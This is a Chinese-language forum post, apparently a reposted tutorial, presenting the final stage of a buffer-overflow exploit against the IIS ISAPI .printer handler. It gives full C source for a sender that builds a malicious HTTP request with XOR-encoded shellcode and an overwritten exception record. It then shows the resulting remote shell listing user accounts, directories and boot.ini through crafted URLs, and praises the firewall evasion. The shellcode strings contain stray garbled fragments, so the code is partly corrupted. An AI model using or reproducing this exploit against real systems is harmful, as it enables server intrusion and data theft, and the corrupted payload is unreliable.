0x00EFFE58
指令表
0x00EFFF4B
0x00EFFF4C
假的HttpExtensionProc,也就是黑客渠道码
0x00EFFFDB
0x00EFFFDC
被覆盖的_EXCEPTION_REGISTRATION_RECORD
0x00EFFFED

要产生这样一个黑客码只是举手之劳,下面我给大家一个参考程序moda.c,它在Linux上编译及运行的。它精心构制了一个HTTP请求,这个HTTP请求的98%是经过异或处理的黑客码,1%则用于还原这些处理后的黑客码,最后1%是用于覆盖_EXCEPTION_REGISTRATION_RECORD。


========================moda.c============================================

#define SIZE 4106
#define ADJUST 1250

#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

int main(int argc, char *argv[]){

unsigned char httpheader1[20]= // GET /HERO.htm"
"\x47\x45\x54\x20"
"\x2f\x48\x45\x52"
"\x4f\x2e\x68\x74"
"\x6d\x00";

unsigned char httpheader2[256]=
"\xeb\x06\x90\x90"
"\x99\x5c\xed\x77"
"\x81\xc3\xde\xfc"
"\xff\xff\xff\xd3"
"\x20\x20\x48\x54"
"\x54\x50\x2f\x31"
"\x2e\x30\x0D\x0A"
"\x43\x6F\x6E\x74"
"\x65\x6E\x74\x2D"
"\x74\x79\x70\x65"
"\x3a\x20\x74\x65"
"\x78\x74\x2f\x78"
"\x6d\x6c\x20\x41"
"\x63\x63\x65\x70"
"\x74\x3a\x20\x2a"
"\x2f\x2a\x0a\x43"
"\x6f\x6e\x74\x65"
"\x6e\x74\x2d\x6c"
"\x65\x6e\x67\x74"
"\x68\x3a\x20\x32"
"\x37\x30\x34\x20"
"\x0d\x0a\x0d\x0a"
"\x00";



char payload[]=
"\x83\xEBPcxF1\x33\xC9\x66\xB9\x13\x03\x80\x33\x96\x43\xE2\xFA"
/* Payload encoded with x96*/
"\x7f"
"\x13\x97\x96\x96\xcc\x2e\x96\x96\x67\xe1\x17\xae\xdb\xcc
'5cx06\x96"
"\xe2\x95\xde\x7d\x63\x1d\x4e\x1d\xe5\xaa\x95_5cx65\x1d\xe0\xee\x95"
"\x65\x1d\xe8\xb6\x95\x6d\x1d\xd8Pcx82\xa5\x7b\xc0\xc1\xc7\x1d\xa9"
"\x95\x6d\x1d\x64\x2f\x98\x96\x96\x96\x65\x30\xe2\x9e\xcf\xc9\x15"
"\x51\x92\xd3\x74\x71\xcf\xc9\xc8\x1d\x5b\x1d\xd0\xb2\x95\x55\x47"
"\x77\x95\x57\xa5\x5f\xf0\x1d\x9e\x1d\xd0\x8a\x95\x55\x57
'5cx77\x94"
"\x95\x57\x1d\x96\x95\x55\x1d\x64\x1d\x68\x1d_5cx46\x2f\x9a\x96\x96"
"\x96\x7e\x96\x97\x96\x96\xa5\x56Pcx3a\x13\x56\xe3\x6f\xc4\xc0\x69"
"\xc1\x46\xcc\x1d\x4e\x2f\x97\x96\x96\x96\x7e\x71\x96\x96\x96\xfe"
"\x96\x93\x96\x96\xfc\xd6\x69\xc1\x76\x1f\xd1\x9e\x51\xd1\x8a\x9a"
"\x96\x96\x96\x51\xd1\xb6\x96\x96\x96\x96\x51\xd1\xb2\x97
'5cx96\x96"
"\x96\xfc\x96\x1b\xd1\x8a\xc6\x1b\xd1\x9a\xc6_5cx1b\xd1\x86\xc6\x69"
"\xc1\x46\xfc\x96\x1b\xd1\x8a\xc6Pcx1b\xd1\x82\xc6\x1b\xd1\x8e\xc6"
"\x69\xc1\x46\x1b\xd1\xbe\xc6\x69\xc1\x42\x1d\xd1\x9a\x1f\xd1\xf2"
"\x1f\xd1\xfe\x1d\xd1\x8e\x1f\xd1\xf6\x17\xd9\xc2\x97\x97\x96\x96"
"\xf0\x51\xd1\xce\x96\x96\x1b\xd1\xfa\xc6\x1b\xd1\xbe\xc6
'5cxa5\x56"
"\xc6\xc6\xc6\xfc\x97\xc6\xc6\x1d\x79\x17\x53_5cx3e\x96\x96\x96\xc3"
"\xc6\x69\xc1\x4e\x69\xe1\x9a\x69Pcxc1\x6e\x69\xe1\x8e\x69\xc1\x6e"
"\x1b\xd1\x92\xc6\xfc\x92\xfe\x96\x97\x96\x96\x1d\xc1\x6a\xc4\x69"
"\xc1\x7a\xc0\xc5\x1d\x49\x1b\x21\x26\x96\x96\x96\x15\x50\x9f\x1b"
"\x11\x56\x96\x96\x96\x1f\x90\x15\x50\x61\x1d\xed\x6a\x2f
'5cx99\x96"
"\x96\x96\x65\x32\x1d\x6d\xcd\xc8\x1b\xd1\x92_5cxc6\x1d\xd1\x92\xc6"
"\xfe\x96\x97\x96\x96\x1d\xc1\x6aPcxc4\x69\xc1\x7a\xfe\x96\x4b\xfb"
"\x96\x69\xc1\x66\x7d\x60\xa5\x56\x3a\x13\x56\xe3\x6f\xc7\xc4\xc0"
"\xc5\x69\x44\xcc\xcf\x3d\x74\x78\x55\x7e\xe0\x68\x69\x69\xd1\xf3"
"\xe2\xc6\xe4\xf9\xf5\xd7\xf2\xf2\xe4\xf3\xe5\xe5\x96\xda
'5cxf9\xf7"
"\xf2\xda\xff\xf4\xe4\xf7\xe4\xef\xd7\x96\xd5_5cxe4\xf3\xf7\xe2\xf3"
"\xc6\xff\xe6\xf3\x96\xd1\xf3\xe2Pcxc5\xe2\xf7\xe4\xe2\xe3\xe6\xdf"
"\xf8\xf0\xf9\xd7\x96\xd5\xe4\xf3\xf7\xe2\xf3\xc6\xe4\xf9\xf5\xf3"
"\xe5\xe5\xd7\x96\xc6\xf3\xf3\xfd\xd8\xf7\xfb\xf3\xf2\xc6\xff\xe6"
"\xf3\x96\xd1\xfa\xf9\xf4\xf7\xfa\xd7\xfa\xfa\xf9\xf5\x96
'5cxc1\xe4"
"\xff\xe2\xf3\xd0\xff\xfa\xf3\x96\xc4\xf3\xf7_5cxf2\xd0\xff\xfa\xf3"
"\x96\xc0\xff\xe4\xe2\xe3\xf7\xfaPcxc6\xe4\xf9\xe2\xf3\xf5\xe2\x96"
"\xc5\xfa\xf3\xf3\xe6\x96\xd3\xee\xff\xe2\xc6\xe4\xf9\xf5\xf3\xe5"
"\xe5\x96\xd5\xfa\xf9\xe5\xf3\xde\xf7\xf8\xf2\xfa\xf3\x96\xdb\xc5"
"\xc1\xa5\xc6\xc4\xc2\x96\xde\xe2\xe2\xe6\xd3\xee\xe2\xf3
'5cxf8\xe5"
"\xff\xf9\xf8\xc6\xe4\xf9\xf5\x96\x06\x06\x06_5cx06\x06\x06\x06\x06"
"\x06\x06\x06\x06\x06\x06\x06\x06Pcx06\x06\x06\x06\x06\x06\x06\x06"
"\x06\x06\x06\x06\x06\x06\x06\x06\x96\x96\xf5\xfb\xf2\xb8\xf3\xee"
"\xf3\x96\x06\x06\x06\x06\x06\x06\x06\x06\x2e\x96\x96\x67\xe1\x69"
"\x46\x96\x06\x06\x06\x15\x52\x92\xf6\x7e\x96\x96\x96\x96
'5cxc9\x17"
"\x79\x5a\x96\x96\x96\x1d\xcb\x86\xfc\x96\xc1_5cxa5\x56\xa5\x44\x1d"
"\xe5\xf2\x3a\xd4\x15\x6e\xcd\xe3Pcx92\x50\xd0\x69\xb6\x13\x56\xe3"
"\x67\x50\xd0\x69\x9b\x50\x90\x9c\x50\xd0\x97\x96\xd4\xc4\x69\xe5"
"\xf2\x69\xe1\x82\x69\xc1\x72\xfc\xf2\x69\xc1\x66\xa5\x5f\xc7\xc1"
"\xc7\xc7\xc7\x69\xe1\x86\x69\xc1\x4a\x13\x56\xe2\xa6\x16
'5cxa9\x96"
"\xe2\xb1\xfc\x96\xc1\xfe\x96\x93\x96\x96\x69_5cxe1\x9e\x69\xe1\x86"
"\x69\xc1\x7e\x13\x56\xe2\x80\xfcPcx96\xc1\x69\xe1\x9e\x1d\xdd\x9e"
"\xc7\x69\x05\x12\x96\x96\x96\x7d\x28\xf7\x54\x92\x96\xfc\x97\x69"
"\xc1\x62";



unsigned char *ptr;
unsigned char sploit[SIZE];

int s;
unsigned short int a_port;
unsigned long a_host;
struct hostent *ht;
struct sockaddr_in sin;

if (argc != 3){
printf("usage: %s \n",argv[0]);
exit(1);
}

if ((ht = gethostbyname(argv[1])) == 0){
herror(argv[1]);
exit(1);
}
sin.sin_port = htons(atoi(argv[2]));
sin.sin_family = AF_INET;
sin.sin_addr = *((struct in_addr *)ht->h_addr);


ptr=sploit;
memcpy(ptr, httpheader1, strlen(httpheader1) );
ptr+=strlen(httpheader1);
memset(ptr,'\x90', SIZE - strlen(httpheader1) - strlen(httpheader2) -strlen(payload) -ADJUST);
ptr+=SIZE - strlen(httpheader1) -strlen(httpheader2) - strlen(payload) - ADJUST;
memcpy(ptr, payload, strlen(payload) );
ptr+= strlen(payload);
memcpy(ptr, httpheader2, strlen(httpheader2));

if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1){
perror("socket");
exit(1);
}

printf("\nconnecting... \n");

if ((connect(s, (struct sockaddr *) &sin, sizeof(sin))) == -1){
perror("connect");
exit(1);
}

write(s, sploit, SIZE-ADJUST);
sleep (5);
close (s);

printf("sent... \n");
exit(0);
}

==========================================================================


Exploit IIS 最后一步----Enjoy胜利的果实:


请把moda.c在Linux上编译好,然后运行:

[moda@claton /home/moda] moda dallas 80

connecting...
sent...

[moda@claton /home/moda]


现在我们的黑客码已经潜入dallas上的IIS了,我们可以通过Web Browser向这个潜伏的特务分子发送命令:

命令之一:
http://dallas/null.printer?net[user


Browser显示的结果:

Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.

D:\WINNT\system32>net user

User accounts for \\

-------------------------------------------------------------------------------
Administrator Guest IUSR_DALLAS
IWAM_DALLAS moda TsInternetUser
VUSR_DALLAS
The command completed with one or more errors.


D:\WINNT\system32>



命令之二:
http://dallas/null.printer?dir


Browser显示的结果:

D:\WINNT\system32>dir
Volume in drive D has no label.
Volume Serial Number is 7086-EBAD

Directory of D:\WINNT\system32

07/11/2002 10:46p .
07/11/2002 10:46p ..
10/29/2001 03:29p 647 $winnt$.inf
10/29/2001 03:35p 4,108 $WINNT$.PNF
06/26/2000 09:15a 2,151 12520437.cpx
06/26/2000 09:15a 2,233 12520850.cpx
12/07/1999 05:00a 32,016 aaaamon.dll
12/07/1999 05:00a 67,344 access.cpl
12/07/1999 05:00a 13,753 accserv.mib
12/07/1999 05:00a 59,904 acctres.dll
12/07/1999 05:00a 150,800 accwiz.exe
12/07/1999 05:00a 61,952 acelpdec.ax
12/07/1999 05:00a 131,856 acledit.dll
12/07/1999 05:00a 78,096 aclui.dll
12/07/1999 05:00a 33,298 acs.mib
12/07/1999 05:00a 4,368 acsetupc.dll
12/07/1999 05:00a 17,168 acsetups.exe
12/07/1999 05:00a 11,536 acsmib.dll
。。。。。。。
。。。。。。。
12/07/1999 05:00a 73,776 wshom.ocx
12/07/1999 05:00a 17,680 wshtcpip.dll
12/07/1999 05:00a 39,696 wsnmp32.dll
12/07/1999 05:00a 21,776 wsock32.dll
12/07/1999 05:00a 14,608 wtsapi32.dll
12/07/1999 05:00a 25,872 wupdinfo.dll
12/07/1999 05:00a 47,376 wupdmgr.exe
12/07/1999 05:00a 92,432 xactsrv.dll
12/07/1999 05:00a 28,432 xcopy.exe
12/07/1999 05:00a 110,664 xenroll.dll
12/07/1999 05:00a 641,808 xiffr3_0.dll
12/07/1999 05:00a 17,680 xolehlp.dll
2017 File(s) 291,632,897 bytes
33 Dir(s) 531,480,576 bytes free

D:\WINNT\system32>


下面是几个连续的命令:先改变当前目录到C:盘,再看C:盘中有什么文件,最后看文件boot.ini的内容:

命令之三:
http://dallas/null.printer?c:


Browser显示的结果:

c:

C:\>

命令之四:
http://dallas/null.printer?dir


Browser显示的结果:

dir
Volume in drive C has no label.
Volume Serial Number is 8C3A-7F32

Directory of C:\

12/06/2000 09:20p WINNT
12/06/2000 09:24p Program Files
12/06/2000 09:41p TEMP
12/06/2000 09:42p InetPub
12/07/2000 09:37p BTMAGIC.PQ
08/30/2000 05:43p 0 tempfile.tmp
01/30/2001 12:06a ETS
04/28/2002 10:16p 67,108,864 pagefile.sys
01/26/2002 08:55p 39 dlr.log
07/07/2002 09:39p 26,877 winzip.log
06/23/2002 10:02p mydocuments
4 File(s) 67,135,780 bytes
7 Dir(s) 739,213,312 bytes free

C:\>

命令之五:
http://dallas/null.printer?type[boot.ini


Browser显示的结果:

type boot.ini
[boot loader]
timeout=3
default=multi(0)disk(0)rdisk(0)partition(4)\WINNT
[operating systems]
multi(0)disk(0)rdisk(0)partition(4)\WINNT="Microsoft Windows 2000 Server" /fastdetect
multi(0)disk(0)rdisk(0)partition(1)\WINNT="Windows NT Server Version 4.00"
multi(0)disk(0)rdisk(0)partition(1)\WINNT="Windows NT Server Version 4.00 [VGA mode]" /basevideo /sos

C:_5c>


结尾的话:


我自己觉得这个针对IISAPI的Exploit还是很有意思的,一方面它涉及了不少值得一学的东西,我就是通过设计这个Exploit加深了对CodeRed Worm、jill病毒、IISAPI 以及Structured Exception Handling的认识,熟悉了Windbg的使用;另一方面,这个Exploit本身有一些新东西在里面,它是通过HTTP端口(port 80)去发送命令及接收返回结果,所以可以不受防火墙(Firewall)的限制,也比较隐蔽。当然,要防止这种Virus的Exploit还是有不少办法的,象我前面提到的SiteMinder系统,它对每个HTTP请求的URL都会检查一遍,看看这个URL的目标是否被定义、是否被允许访问的,那么象http://dallas/null.printer?net[user之类的URL显然是不能通过它的法眼。只是这样一来,公司就要花很多的钱(10000美元一个月)来雇人设置SiteMinder,唉!成长的代价啊!
clq
2007-7-3 2:58:48 发表 编辑

这位仁兄实在是强,以往总觉得随性点的人才能写好程序,也许大家觉得这种人脑子都比较灵吧。哈哈,我也这样认为。不过这篇文章让我们领略了严谨(刻板?)作风下出的程序员也是这么的强!太强了。

总数:1 页次:1/1 首页 尾页  
总数:1 页次:1/1 首页 尾页  


所在合集/目录



发表评论:
文本/html模式切换 插入图片 文本/html模式切换


附件:



NEWBT官方QQ群1: 276678893
可求档连环画,漫画;询问文本处理大师等软件使用技巧;求档softhub软件下载及使用技巧.
但不可"开车",严禁国家敏感话题,不可求档涉及版权的文档软件.
验证问题说明申请入群原因即可.

Copyright © 2005-2020 clq, All Rights Reserved
版权所有
桂ICP备15002303号-1